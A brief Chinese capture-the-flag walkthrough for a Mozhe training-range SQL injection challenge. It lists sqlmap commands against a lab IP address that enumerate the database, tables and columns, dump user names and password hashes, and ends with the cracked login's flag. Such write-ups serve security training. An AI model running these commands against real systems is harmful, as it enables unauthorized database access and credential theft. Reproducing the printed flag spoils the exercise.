靶场地址:https://www.mozhe.cn/bug/detail/UDNpU0gwcUhXTUFvQm9HRVdOTmNTdz09bW96aGUmozhe
根据题意
- 停机维护通知发现注入点
- sqlmap -u http://219.153.49.228:46612/new_list.php?id=1 --current-db 获取到的数据库名是stormgroup
- sqlmap -u http://219.153.49.228:46612/new_list.php?id=1 -D stormgroup --tables 获取到的表是member和notice
- sqlmap -u http://219.153.49.228:46612/new_list.php?id=1 -D stormgroup -T member --columns 获取到的列名分别是 name password status
- sqlmap -u http://219.153.49.228:46612/new_list.php?id=1 -D stormgroup -T member -C name,password --dump
- md5解密后登录获取key:mozhe7fbe108f3f82d8bc068635a3b50